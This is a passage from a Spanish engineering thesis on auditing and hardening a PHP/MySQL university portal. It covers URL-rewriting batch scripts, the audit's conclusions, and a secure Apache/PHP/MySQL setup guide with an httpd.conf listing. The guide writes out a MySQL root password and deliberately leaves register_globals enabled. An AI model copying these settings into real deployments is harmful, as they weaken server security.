preguntas: no son necesarios dos servidores locales, para reproducir el portal
original (ya que el montaje original consta de dos servidores: woody y apache)?
No se saltar al portal original en cuanto pulsemos un enlace cualquiera (ya que las
URLs que aparecen en los enlaces apuntan a las URLs originales)? Deberemos
modificar a mano, uno a uno, todos los ficheros del portal, para ir cambiando la URL
original por una URL local que funcione en nuestro entorno de desarrollo?
Deberemos deshacer a mano dichos cambios de URL cuando el desarrollo est listo
y se deseen publicar los cambios en Internet? Veamos como hemos resuelto todas
estas cuestiones.
El entorno de desarrollo ha sido un Windows 2000, con Apache (win32)
instalado y las versiones Windows de algunas herramientas tpicas de Unix (como
find, grep, ls, less, etc). Todo el portal se ha ubicado en /csed/ (path relativo
a la raz del servidor web, es decir, al htdocs del servidor), de forma que fuera
accesible desde:
http://localhost/csed/
Dentro de /csed/ hemos ubicado los ficheros correspondientes a los dos
servidores originales (woody y apache).
Pg. 133
Para la conversin de URLs, se han creado dos ficheros de comandos .BAT,

ilustrados en las siguientes figuras:
@echo off
sed "s/http\:\/\/woody\.us\.es\/fbarrero/http\:\/\/urlwoody/g" %1
> %1.FIX
del %1
move %1.FIX %1
sed "s/http\:\/\/www\.gte\.us\.es\/\~fbarrero/http\:\/\/urlgte/g"
%1 > %1.FIX
del %1
move %1.FIX %1
sed "s/http\:\/\/woody\.us\.es\/~fbarrero/http\:\/\/urlgoody/g" %1
> %1.FIX
del %1
move %1.FIX %1
Figura 4.7. Contenido del fichero rep.bat.
@echo off
sed "s/http\:\/\/urlwoody/http\:\/\/www\.gte\.us\.es\/fbarrero/g"
%1 > %1.FIX
del %1
move %1.FIX %1
sed "s/http\:\/\/urlgte/http\:\/\/www\.gte\.us\.es\/\~fbarrero/g"
%1 > %1.FIX
del %1
move %1.FIX %1
sed "s/http\:\/\/urlgoody/http\:\/\/www\.gte\.us\.es\/~fbarrero/g"
%1 > %1.FIX
del %1
move %1.FIX %1
Figura 4.8. Contenido del fichero rep_inv.bat.
Pg. 134
El archivo de comandos rep.bat realiza la conversin de URLs originales a

URLs locales. Recibe como parmetro el nombre de fichero que se desea procesar, y
el script har las siguientes traslaciones de URL:
I. http://woody.us.es/fbarrero a http://urlwoody.
II. http://www.gte.us.es/~fbarrero a http://urlgte.
III. http://woody.us.es/~fbarrero a http://urlgoody.
Como se puede intuir, rep_inv.bat realizar la operacin inversa, aunque no
exactamente:
I. http://urlwoody a http://www.gte.us.es/fbarrero.
II. http://urlgte a http://www.gte.us.es/~fbarrero.
III. http://urlgoody a http://www.gte.us.es/~fbarrero.
Si nos fijamos bien, la correspondencia no es recproca (por ejemplo,
urlwoody se transforma en una URL que contiene www.gte.us.es en lugar de
woody.us.es, como pareca ser lo lgico). Esto es as porque en el paso inverso se
aprovecha para uniformizar URLs: en vez de tener mezcladas URLs con las cadenas
woody.us.es y www.gte.us.es (siendo ambas equivalentes), se dejar todo como
esta ltima. No slo logramos un efecto esttico, sino que este cambio es necesario
para el buen funcionamiento del portal, ya que las sesiones de ste se mantienen
gracias a una cookie (donde se almacena el identificador de sesin de PHP), y esta
ltima va asociada a un hostname dado (al cambiar de un hostname a otro se perdera
la sesin y tendramos que autentificarnos de nuevo).
Para terminar el proceso, hemos aadido a la lista de hosts del servidor local,
sita en el fichero c:\winnt\system32\drivers\etc\hosts, las lneas siguientes:
Pg. 135
127.0.0.1
127.0.0.1
127.0.0.1
urlwoody
urlgte
urlgoody
Lo anterior hace que las URLs locales tengan validez, ya que se asignan a la
direccin de loopback. La forma correcta de entrar al portal, en el servidor local, es
mediante:
http://urlgte/CSED/
En la conversin de URLs no hemos tenido en cuenta que en ciertos casos la
web original usa /CSED/ y en otros /csed. Nosotros no lo hemos convertido, lo
hemos dejado tal cual. Funcionar en nuestro servidor local, teniendo en cuenta que
realmente slo existe el directorio fsico /csed (y no /CSED)? La respuesta es s,
porque Windows no es case-sensitive (al contrario que Unix) y por tanto, mapear
tanto /csed como /CSED en el directorio fsico /csed.
Hemos conseguido salvar un importante obstculo con la realizacin de los
archivos de comandos anteriores pero todava queda un ltimo detalle. Cmo
automatizar el proceso para que los filtros anteriores (en realidad slo uno, segn el
sentido de la conversin que se desee) sean aplicados a todos los ficheros del portal?
Habr que ir recorriendo el directorio y hacer a mano rep fichero1, rep fichero2,
etc.?
La respuesta es a la pregunta anterior es negativa, evidentemente. Tambin
hemos automatizado este ltimo paso, y para ello hemos hecho uso de la herramienta
ufind, que es la versin win32 del conocido find de Unix (Windows tambin
dispone de una herramienta find, totalmente diferente, y que no nos ser til; de
ah que hayamos usado el trmino ufind, de Unix find).
La siguiente lnea de comandos barrer todos los ficheros del directorio actual
(y subdirectorios) que pueden contener enlaces (es decir, aquellos con extensin .php
y .html) y le aplicar el filtro rep.bat:
Pg. 136
ufind . -type f ( -name "*.html" -o -name "*.php" ) -exec

d:\pfc\rep.bat {} ;
Por tanto, bastar con situarnos en el directorio raz del portal y ejecutar el
comando anterior, para iniciar el proceso automtico de conversin de URLs. La
conversin inversa se realiza de forma anloga, sustituyendo rep por rep_inv.
4. Mejoras propuestas.
Las siguientes mejoras no han sido implementadas pero consideramos
importante referenciarlas, de cara a futuras lneas de trabajo e investigacin.
Habra que mejorar an ms la flexibilidad y portabilidad de la
Aplicacin, es decir, la facilidad para crear un nuevo portal mediante
clonacin de un portal original que usaramos como modelo. Algunas
de las implementaciones realizadas y presentadas en este Proyecto han
constituido mejoras importantes en este sentido (por ejemplo, la
definicin de variables, como el nombre del portal, en un fichero de
configuracin genrico llamado config.php). Sin embargo, an
queda mucho camino por recorrer. Como mnimo, sera recomendable
definir en alguna funcin o fichero lo que ser mostrado como
cabecera de cualquier script, esto es, la seccin donde actualmente
aparece el ttulo del portal acompaado de un par de logos. De esta
forma, si queremos cambiarla slo tendramos que modificar dicha
funcin, evitando el tener que ir revisando y modificando todos los
ficheros, uno a uno (aparte ahorraramos algo de espacio web).
Pg. 137
Podramos configurar el portal para que se usara SSL12 en las

comunicaciones cliente-servidor; si no para todas las pginas del portal
(lo que contribuira a aumentar la carga del servidor, o lo que es lo
mismo, afectara negativamente al rendimiento del mismo), al menos
para las ms crticas (como las pginas involucradas en el proceso de
autentificacin de usuario, donde la contrasea del usuario es enviada
en claro desde el navegador).
12
SSL: Secure Sockets Layer. Protocolo de seguridad cuyo objetivo es dotar de privacidad y
confiabilidad a la comunicacin entre dos aplicaciones. Ver especificaciones en:
http://wp.netscape.com/eng/ssl3/.
Pg. 138
Captulo 5. Conclusiones y futuro trabajo
Captulo 5
Conclusiones y futuro trabajo
En este ltimo captulo expondremos qu conclusiones se han extrado de la

realizacin del presente proyecto, as como las posibles lneas de trabajo que quedan
abiertas o se pueden abrir en un futuro.
1. Conclusiones.
Ya en captulos anteriores hemos adelantado algunas conclusiones obtenidas
durante el desarrollo de este trabajo. No obstante, presentaremos a continuacin la
sntesis de los resultados obtenidos y comentaremos todo cuanto estimemos
necesario para una mejor comprensin del proyecto y de los objetivos logrados.
La primera y principal conclusin que extraemos es alarmante: los
programadores de hoy en da todava no estn concienciados ni le
dan la suficiente importancia al tema de la seguridad. Este hecho ha
quedado ms que demostrado con la realizacin de este trabajo. Sin ir
ms lejos, una de las vulnerabilidades que hemos descubierto permita
Pg. 139
el acceso a las funciones administrativas del portal, sin necesidad de

conocer la contrasea de administracin. Cualquiera podra haber
modificado las notas de los alumnos que se exponen en el portal,
aadir noticias falsas en los distintos tablones virtuales, etc.
Los fallos de seguridad que se han encontrado al auditar la Aplicacin
son, en muchos casos, triviales (al menos, para alguien con
conocimientos medios de seguridad informtica). Se podran haber
evitado fcilmente, con no demasiado esfuerzo por parte del
programador original de la Aplicacin. Es importante, no slo que una
Aplicacin funcione, sino que adems sta sea segura y robusta; y no
pueda ser fcilmente vulnerada por cualquiera con unas mnimas
nociones de seguridad.
Se hace patente la importancia de un correcto mantenimiento y
configuracin de las mquinas. Estas tareas, a menudo infravaloradas,
y que suele llevar a cabo el administrador de sistemas, no son tan
simples como se pueda pensar a priori. Cualquiera con poca
experiencia puede instalar un servidor Apache, y ste funcionar
seguramente. Pero no cualquiera sabr optimizarlo para obtener un
buen rendimiento ni configurarlo convenientemente a prueba de
hackers.
Un servidor en Internet que no ha sido correctamente blindado y
pueda ser comprometido con cierta facilidadad, se expone no slo al
posible robo de datos o a las tpicas prdidas de servicio, sino que
puede ser la puerta de entrada del hacker hacia toda una red interna de
la empresa propietaria del servidor. Y no slo eso, tambin puede ser
utilizado como plataforma de ataque hacia otros servidores (de otras
Pg. 140
empresas), con los problemas legales que podra acarrear para el

dueo del servidor original.
La seguridad de un servidor conlleva un trabajo continuo e ininterrumpido. De nada vale blindar y configurar correctamente un
servidor, si tarde o temprano se va a descubrir y a hacer pblico un
nuevo bug de seguridad, y no estamos ah para parchearlo
rpidamente. Cuanto ms nos retrasemos, ms grande ser la ventana
de tiempo durante el cual nuestro servidor es vulnerable y por tanto,
mayor ser la probabilidad de que nuestro sistema pueda ser
comprometido.
En el diseo de una Aplicacin deben ser tambin tenidos en cuenta
otros factores, aparte de la seguridad. El rendimiento es uno de ellos.
Un buen analista-programador debera saber sopesar los distintos
aspectos, y lograr, por ejemplo, un buen compromiso entre seguridad
y rendimiento. Con un diseo adecuado, se puede lograr que ambos
factores (e incluso otros) convivan felizmente.
A la hora de escribir cdigo es importante hacerlo lo ms
limpiamente posible. Esto incluye aadir comentarios a las lneas del
cdigo y mantener una indemnacin correcta, entre otras. En nuestro
caso, nos hemos encontrado con un cdigo bastante catico y un
desorden acentuado. Esto ha dificultado enormemente el desarrollo de
nuevas funcionalidades y la propia auditora de seguridad porque en
muchos casos, y como paso previo, ha sido necesario depurar el
cdigo original y corregir errores, algunos bastante importantes. Esta
fase de depuracin del cdigo original debera haber sido realizada
por su autor, y no por nosotros, ya que nos ha ralentizado mucho.
Pg. 141
Hemos visto adems muchos problemas derivados de un mal diseo

de la Aplicacin original. Creemos que la fase de anlisis y diseo de
la Aplicacin, previa a la implementacin, ha sido insuficiente. Ya no
hay marcha atrs, puesto que la modificacin de ciertas pautas de
diseo conllevara cambios radicales en el cdigo de la Aplicacin, lo
que lo hara injustificadamente costoso. De hecho, en nuestro
desarrollo, hemos tenido que arrastrar muchos de estos fallos y
amoldarnos a lo que tenamos. El resultado es que nuestro trabajo se
ha visto ralentizado an ms y adems la calidad del cdigo obtenido
nunca va a ser igual a la que habramos obtenido si hubisemos
podido trabajar ms libremente y sin las ataduras propiciadas por el
diseo original de la Aplicacin. El autor de este Proyecto se ha visto
tentado en numerosas ocasiones a reescribir desde cero el cdigo de
distintas secciones del portal; es ms, lo ha hecho en algunos casos. El
ejemplo ms llamativo ha sido el desarrollo de la herramienta de
administracin: aunque no hemos tenido ms remedio que aprovechar
ciertas lneas de cdigo (para ahorrar tiempo), la gran mayora ha
tenido que ser reescrito en su totalidad.
Otro importante factor que creemos fue obviado en el diseo original
es el de la flexibilidad. Si se quiere que la Aplicacin sea til a otros,
o lo que es lo mismo, que sea aprovechable para la creacin de nuevos
portales de distintas asignaturas, es necesario facilitar dicho proceso
de creacin y configuracin de un nuevo portal, a partir del portal
original. Tal y como estaba diseado (y programado) el portal
original, la fase de adecuacin del nuevo portal sera extremadamente
costosa. Hasta los detalles ms simples, conllevaran un esfuerzo
considerable. Por ejemplo, si quisiramos cambiar el nombre del
portal, debemos modificar todas las pginas que componen el portal,
puesto que el nombre del mismo se encuentra fijado estticamente en
Pg. 142
el cdigo HTML de las distintas pginas. Lo mismo ocurre si

queremos cambiar la contrasea de la base de datos, por poner un
segundo ejemplo. En este sentido hemos hecho todo lo que nos ha
sido posible para mejorar la Aplicacin y dotarla de cierta
flexibilidad. Ejemplo de ello ha sido la creacin de un archivo de
configuracin global del portal, donde hemos definido variables como
el nombre del portal, el e-mail de contacto del webmaster, los
nombres de las distintas bases de datos de los servicios ofrecidos, y
las contraseas de la base de datos, entre otras. No obstante, nos ha
sido imposible, de nuevo por falta de tiempo (implicara una inmensa
labor de reescritura de cdigo del portal), flexibilizar la Aplicacin
todo lo que nos hubiera gustado. Hemos hecho cuanto hemos podido.
En el desarrollo de la herramienta de administracin hemos procurado
cuidar la esttica (acorde con el diseo original del portal), y sobre
todo, tratar de que el interfaz de administracin sea totalmente flexible
e intuitivo. El sistema de administracin del portal original careca de
funcionalidades tan vitales como la edicin y modificacin de datos.
Por supuesto, hemos subsanado el problema anterior, y en general, se
han aadido muchas y nuevas mejoras. A decir verdad, el interfaz de
administracin ha sido renovado por completo.
Este proyecto tambin pretende sentar unas slidas bases tericas
sobre seguridad informtica, en especial en el terreno de la WWW. Le
hemos dedicado un extenso captulo a ello, con la nica y sana
intencin de formar a nuestros lectores. Quizs si el autor del portal
original hubiera tenido en sus manos este manual, este proyecto no
habra sido necesario, puesto que probablemente habra desarrollado
una Aplicacin lo suficientemente segura.
Pg. 143
La auditora de seguridad llevada a cabo, adems de tener un

eminente sentido prctico (la Aplicacin se beneficiar de ello),
ayudar a afianzar los conocimientos tericos adquiridos por el lector
en el captulo previo. En todo ejercicio didctico, siempre debe hacer
una parte terica y una prctica. Hemos pretendido cubrir ambas.
En resumidas cuentas, el proyecto ha constituido una importante
obra de ingeniera de software, orientado a obtener un producto til
(el portal), y aderezada con un alto contenido didctico, todo ello
encuadrado en el marco de uno de los campos que ms prometen en
la actualidad: el de la seguridad informtica.
Desde el punto de vista personal, el autor de este proyecto ha
adquirido conocimientos y agilidad en el desarrollo de aplicaciones en
PHP. Tambin ha desarrollado habilidades como administrador de
bases de datos (MySQL en particular), sin olvidar por ltimo el
campo de la administracin de sistemas: hemos tenido que desarrollar
scripts de automatizacin de ciertas tareas e instalar y configurar a
fondo tanto el entorno de desarrollo (basado en Windows) como el de
produccin (basado en Unix), en ambos casos constituido, como
mnimo, por un servidor Apache con el mdulo de PHP ms un
servidor de bases de datos MySQL. Han sido tareas muy enriquecedoras, as como tambin lo es la propia realizacin del proyecto en s.
Esto ltimo ha supuesto un verdadero ejercicio del intelecto y ha
contribuido al desarrollo de cualidades tanto tcnicas como humanas,
y en general, de aptitudes como la capacidad para la resolucin de
problemas, planteamiento de nuevas alternativas o la creatividad,
entre muchas otras.
Pg. 144
2. Futuras lneas de trabajo.

Tambin hemos hablado con anterioridad1 sobre algunas de las posibilidades
que quedan an por explotar.
La primera mejora que proponemos busca la portabilidad total de la
aplicacin. Aunque se han acometido mejoras que han contribuido a flexibilizar la
Aplicacin, todava quedan muchas cosas por hacer. De hecho, nuestra
recomendacin sera continuar en la misma lnea del proyecto actual: se trata de
aglomerar la mayora de los parmetros configurables del portal en un nico fichero
de configuracin. El objetivo perseguido es que el proceso de migrar un portal (o de
crear uno nuevo basndose en el modelo actual) se simplifique al mximo.
Idealmente, debera comprender tres sencillas fases: una primera consistente en
copiar los directorios que conforman el portal, una segunda donde se crearan las
correspondientes bases de datos en el servidor MySQL, y se repasara la
configuracin tanto del servidor web Apache como del motor PHP; y por ltimo, una
tercera fase donde simplemente tendramos que editar el fichero de configuracin del
portal para adaptarlo a las nuevas necesidades (por ejemplo, establecer el nuevo
nombre del portal). Se podra crear alguna herramienta que facilitara el proceso; por
ejemplo, para la tercera fase tal herramienta podra pedir los datos como el nombre
del portal, nombre de las bases de datos, etc., y generar automticamente el fichero
de configuracin, en base a los datos introducidos. La segunda fase, en cuanto a
bases de datos se refiere, tambin sera fcilmente automatizable; de hecho, bastara
con realizar un script SQL genrico, con algunos parmetros configurables (como las
contraseas de los usuarios de acceso al servidor de base de datos).
Otra mejora posible consiste en ampliar el rango de servicios ofrecidos desde
el portal, o bien mejorar algunos de los existentes. En este sentido, el nico lmite es
la creatividad. Slo por dar algunas ideas, sera interesante que un usuario del portal
1
En el final del captulo 4.
Pg. 145
pudiera consultar su propia calificacin obtenida en la asignatura, sin tener que mirar
el listado de notas de todos los alumnos (adems, podra ser til en cuanto a la
privacidad se refiere, ya que cada usuario slo podra consulta su propia nota, y no la
de sus compaeros). Tampoco estara mal aadir ciertas funcionalidades de
bsquedas en el portal, tanto en la parte visible a los usuarios, como en la zona
administrativa. Por ejemplo, sera til que desde el administrador de usuarios se
pudiera hacer una bsqueda por nombre de usuario, dando luego la posibilidad de
editarlo o borrarlo.
Respecto a mejoras de seguridad, proponemos el uso de SSL (Secure Sockets
Layer), al menos en las fases ms crticas, como por ejemplo durante la fase de
autentificacin. As evitaramos que las contraseas de nuestros usuarios (y tambin
del propio administrador del portal) viajaran en claro por la red, y pudieran ser
interceptadas mediante sniffing. Lograr esta configuracin no es nada difcil.
Pg. 146
Apndice A. Instalacin de un entorno seguro Apache / PHP / MySQL
Apndice A
Instalacin y configuracin de un entorno

seguro basado en Apache / PHP / MySQL
1. Objetivos.
Partiendo del hecho de que muchos agujeros de seguridad provienen no de la
mala calidad del software servidor sino de una mala configuracin por parte de quien
lo administra, estableceremos en este apartado una configuracin por defecto segura,
que pueda ser usada como punto de partida en la instalacin de un entorno similar al
que nos ocupa, por alguien preocupado por la seguridad.
Obtendremos una configuracin robusta, donde:
Las funcionalidades ms peligrosas estn desactivadas por defecto.
Esto implica que el administrador deber ir activando a medida las
funcionalidades que sus usuarios vayan necesitando, siempre en un
ambiente controlado, por lo que el alcance de un posible agujero de
seguridad se ver acotado y limitado. En el caso de Apache, por
Pg. 147
ejemplo, podremos activar ciertas funcionalidades potencialmente

peligrosas solamente para algunos directorios en particular, y esto lo
habremos de hacer expresamente ya que de lo contrario obtendremos
un mensaje de acceso denegado o similar, que le dar idea al
desarrollador de que es necesario activar algo en el servidor.
Evitaremos mostrar informacin acerca del software instalado
(versin, mdulos de Apache instalados, etc.). Esta medida no
provoca realmente que el software servidor sea ms seguro (el cdigo
que se est ejecutando es el mismo en todo caso; si ste es vulnerable
lo ser igualmente, se muestre o no la versin de Apache). Pero quizs
mantendr alejados a los individuos conocidos como scriptkiddies1, quienes se dedican a escanear masivamente Internet en
busca de versiones vulnerables de diferente software servidor, para
posteriormente lanzar toda su artillera pesada y terminar de rematar
la faena.
Denegaremos el acceso por defecto a ficheros con ciertas extensiones.
Por ejemplo, los ficheros *.inc suelen utilizarse como ficheros
include, esto es, su contenido es incluido o ledo desde un script o
programa llamante, y pueden incluir desde lneas de cdigo hasta
importantes datos como una contrasea. Si un desarrollador
despistado dejara uno de estos ficheros en un directorio accesible por
el servidor web, cualquiera podra bajrselo. Al denegar el acceso por
defecto, conseguimos que an en caso de despiste del desarrollador,
un potencial atacante no pueda obtener dicho archivo.
Script-kiddies: literalmente chicos de los scripts. Se denomina as a quienes se dedican a lanzar

ataques indiscriminados, haciendo uso de herramientas que otros han diseado y, en la mayora de los
casos, sin saber realmente ni cmo funcionan internamente ni en qu se basan dichas herramientas.
Pg. 148
Siempre buscaremos mantener un compromiso entre compatibilidad,

seguridad y rendimiento. Sin ir ms lejos, en PHP hay una opcin
llamada register_globals, que tradicionalmente ha estado siempre
activa. Su desactivacin evitara un gran nmero de problemas de
seguridad (provocados por fallos que los usuarios de PHP suelen
introducir en sus aplicaciones, no son fallos inherentes de PHP) pero a
la vez rompera toda compatibilidad con aplicaciones anteriores (la
gran mayora). Por esta razn, en este caso concreto hemos preferido
dejar la opcin activada, a pesar de no ser lo recomendable desde el
punto de vista de la seguridad.
2. Requisitos.
Describiremos paso a paso el proceso de creacin de un entorno de desarrollo
sobre Windows NT / 2000 (valdr tambin, en general, para cualquier otra versin
de Windows no demasiado arcaica, es decir, Win95, 98 o ME, si bien es posible que
cambie el fichero de setup a ejecutar). Aunque dada la naturaleza del software
servidor que vamos a instalar le ser fcil al lector extrapolar estas instrucciones al
caso Unix. De hecho, el Apache Group lanza la siguiente advertencia: la versin
de Apache de Windows no se considera lo suficientemente rodada como para ser
utilizada en entornos de produccin (si bien, en la prctica, funciona a la perfeccin,
y para entornos de pruebas resulta ms que suficiente). De todas formas, la sintaxis
de los ficheros de configuracin, que es lo que aqu ms importa, es independiente
del sistema operativo, luego las ideas que a continuacin ofreceremos sern de
directa aplicacin en el mundo Unix.
Instalaremos las ltimas versiones disponibles a la hora de escribir estas
lneas, en las ubicaciones siguientes:
Pg. 149
1. Apache 1.3.26 (d:\pfc\apache)

2. PHP 4.2.2 (d:\pfc\php)
3. MySQL 3.23.52 (d:\pfc\mysql)
3. Apache.
1) Ejecutamos "apache_1.3.26-win32-x86-no_src.exe" e instalamos la versin arrancable manualmente desde consola (es decir, la que no ejecuta
Apache como NT Service) en d:\pfc\apache.
2) Modificamos d:\pfc\apache\conf\httpd.conf. En particular:
Protegemos un poco el servidor desactivando CGIs, indexing y en
general todo lo que no es necesario.
BindAddress 127.0.0.1 (o la IP que corresponda)
DocumentRoot "D:/PFC/www"
ServerSignature Off
ServerTokens ProductOnly
Para que Apache no visualice ficheros include (.inc):
<Files ~ "\.inc$">
Order allow,deny
Deny from all
Satisfy All
</Files>
3) Para ejecutar el servidor: d:\pfc\apache\apache.exe.
4. PHP.
Pg. 150
4) Descomprimimos "php-4.2.2-Win32.zip" en d:\pfc\php.

5) Copiamos d:\pfc\php\php4ts.dll a c:\winnt\system32
6) Copiamos d:\pfc\php\php.ini-dist a d:\pfc\apache\conf\php.ini
7) Seteamos la variable de entorno: PHPRC=d:\pfc\apache\conf.
8) Modificamos d:\pfc\apache\conf\httpd.conf:
AddModule mod_php4.c
LoadModule php4_module d:/pfc/php/sapi/php4apache.dll
AddType application/x-httpd-php .php .phtml
9) Modificamos d:\pfc\apache\conf\php.ini. En particular:
output_buffering = 4096
allow_call_time_pass_reference = Off
safe_mode = On
expose_php = Off
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = "d:\pfc\apache\logs\php.log"
variables_order = "GPCS"
register_globals = On
register_argc_argv = Off
magic_quotes_gpc = On
allow_url_fopen = Off
session.save_path =
"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp"
10) Reiniciamos Apache para que relea la nueva configuracin del php.ini.
Pg. 151
5. MySQL.
11) Descomprimimos "mysql-3.23.43-win.zip" y ejecutamos Setup. Realizaremos la instalacin en d:\pfc\mysql.
12) Ejecutamos "d:\pfc\mysql\bin\winmysqladmin.exe" y creamos un fichero
de configuracin, con opciones por defecto, con usuario "root" y la
contrasea "j0nj0n" (C:\WINNT\my.ini)
13) Modificamos C:\WINNT\my.ini (usando WinMySQLAdmin):
bind-address=127.0.0.1
language=D:/PFC/mysql/share/spanish
14) Creamos un enlace directo a "d:\pfc\mysql\bin\mysqld-nt.exe --console"
6. Listado del fichero httpd.conf de Apache.

####################################
# Apache Configuration
#
# by Roman Medina-Heigl Hernandez #
####################################
### Section 1: Global Environment
#
# The directives in this section affect the overall operation of Apache,
# such as the number of concurrent requests it can handle or where it
# can find its configuration files.
#
# Para que no envie la versin del servidor
ServerTokens ProductOnly
#
# ServerType is either inetd, or standalone.
# Unix platforms.
#
ServerType standalone
Inetd mode is only supported on
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
ServerRoot "D:/PFC/Apache"
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
#
PidFile logs/httpd.pid
#
# ScoreBoardFile: File used to store internal server process information.
Pg. 152
# Not all architectures require this. But if yours does (you'll know because
# this file will be created when you run Apache) then you *must* ensure that
# no two invocations of Apache share the same scoreboard file.
#
ScoreBoardFile logs/apache_runtime_status
#
# In the standard configuration, the server will process httpd.conf (this
# file, specified by the -f command line option), srm.conf, and access.conf
# in that order. The latter two files are now distributed empty, as it is
# recommended that all directives be kept in a single file for simplicity.
# The commented-out values below are the built-in defaults. You can have the
# server ignore these files altogether by using "/dev/null" (for Unix) or
# "nul" (for Win32) for the arguments to the directives.
#
#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15
#
#
#
#
#
#
Apache on Win32 always creates one child process to handle requests. If it

dies, another child process is created automatically. Within the child
process multiple threads handle incoming requests. The next two
directives control the behaviour of the threads and processes.
#
# MaxRequestsPerChild: the number of requests each child process is
# allowed to process before the child dies. The child will exit so
# as to avoid problems after prolonged use when Apache (and maybe the
# libraries it uses) leak memory or other resources. On most systems, this
# isn't really needed, but a few (such as Solaris) do have notable leaks
# in the libraries. For Win32, set this value to zero (unlimited)
# unless advised otherwise.
#
# NOTE: This value does not include keepalive requests after the initial
#
request per connection. For example, if a child process handles
#
an initial request and 10 subsequent "keptalive" requests, it
#
would only count as 1 request towards this limit.
#
MaxRequestsPerChild 0
#
# Number of concurrent threads (i.e., requests) the server will allow.
# Set this value according to the responsiveness of the server (more
# requests active at once means they're all handled more slowly) and
Pg. 153
# the amount of system resources you'll allow the server to consume.

#
ThreadsPerChild 50
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the <VirtualHost>
# directive.
#
#Listen 3000
#Listen 12.34.56.78:80
#
# BindAddress: You can support virtual hosts with this option. This directive
# is used to tell the server which IP address to listen to. It can either
# contain "*", an IP address, or a fully qualified Internet domain name.
# See also the <VirtualHost> and Listen directives.
#
#BindAddress *
BindAddress 127.0.0.1
# (ya que se trata de un entorno de pruebas que se usar en local)
#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Please read the file README.DSO in the Apache 1.3 distribution for more
# details about the DSO mechanism and run àpache -l' for the list of already
# built-in (statically linked and thus always available) modules in your Apache
# binary.
#
# Note: The order in which modules are loaded is important. Don't change
# the order below without expert advice.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
#LoadModule vhost_alias_module modules/mod_vhost_alias.so
#LoadModule mime_magic_module modules/mod_mime_magic.so
#LoadModule status_module modules/mod_status.so
#LoadModule info_module modules/mod_info.so
#LoadModule speling_module modules/mod_speling.so
#LoadModule rewrite_module modules/mod_rewrite.so
#LoadModule anon_auth_module modules/mod_auth_anon.so
#LoadModule dbm_auth_module modules/mod_auth_dbm.so
#LoadModule digest_auth_module modules/mod_auth_digest.so
#LoadModule digest_module modules/mod_digest.so
#LoadModule proxy_module modules/mod_proxy.so
#LoadModule cern_meta_module modules/mod_cern_meta.so
#LoadModule expires_module modules/mod_expires.so
#LoadModule headers_module modules/mod_headers.so
#LoadModule usertrack_module modules/mod_usertrack.so
#LoadModule unique_id_module modules/mod_unique_id.so
LoadModule php4_module d:/pfc/php/sapi/php4apache.dll
#
# Reconstruction of the complete module list from all available modules
# (static and shared ones) to achieve correct module execution order.
#
# The modules listed below, without a corresponding LoadModule directive,
# are static bound into the standard Apache binary distribution for Windows.
#
# Note: The order in which modules are loaded is important. Don't change
# the order below without expert advice.
#
# [WHENEVER YOU CHANGE THE LOADMODULE SECTION ABOVE, UPDATE THIS TOO!]
ClearModuleList
Pg. 154
#AddModule mod_vhost_alias.c
AddModule mod_env.c
AddModule mod_log_config.c
#AddModule mod_mime_magic.c
AddModule mod_mime.c
AddModule mod_negotiation.c
#AddModule mod_status.c
#AddModule mod_info.c
AddModule mod_include.c
AddModule mod_autoindex.c
AddModule mod_dir.c
AddModule mod_isapi.c
AddModule mod_cgi.c
AddModule mod_asis.c
AddModule mod_imap.c
AddModule mod_actions.c
#AddModule mod_speling.c
AddModule mod_userdir.c
AddModule mod_alias.c
#AddModule mod_rewrite.c
AddModule mod_access.c
AddModule mod_auth.c
#AddModule mod_auth_anon.c
#AddModule mod_auth_dbm.c
#AddModule mod_auth_digest.c
#AddModule mod_digest.c
#AddModule mod_proxy.c
#AddModule mod_cern_meta.c
#AddModule mod_expires.c
#AddModule mod_headers.c
#AddModule mod_usertrack.c
#AddModule mod_unique_id.c
AddModule mod_so.c
AddModule mod_setenvif.c
AddModule mod_php4.c
#
# ExtendedStatus controls whether Apache will generate "full" status
# information (ExtendedStatus On) or just basic information (ExtendedStatus
# Off) when the "server-status" handler is called. The default is Off.
#
#ExtendedStatus Off
### Section 2: 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition. These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#
#
# Port: The port to which the standalone server listens. Certain firewall
# products must be configured before Apache can listen to a specific port.
# Other running httpd servers will also interfere with this port. Disable
# all firewall, security, and other services if you encounter problems.
# To help diagnose problems use the Windows NT command NETSTAT -a
#
Port 80
#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed. This address appears on some server-generated pages, such
# as error documents.
#
Pg. 155
ServerAdmin r0man@phreaker.net
#
# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e., use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.
# If your host doesn't have a registered DNS name, enter its IP address here.
# You will have to access it by its address (e.g., http://123.45.67.89/)
# anyway, and this will make redirections work in a sensible way.
#
# 127.0.0.1 is the TCP/IP local loop-back address, often named localhost. Your
# machine always knows itself by this address. If you use Apache strictly for
# local testing and development, you may use 127.0.0.1 as the server name.
#
ServerName skorpio.llfb.org
#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:/PFC/www/"
#
# Each directory to which Apache has access, can be configured with respect
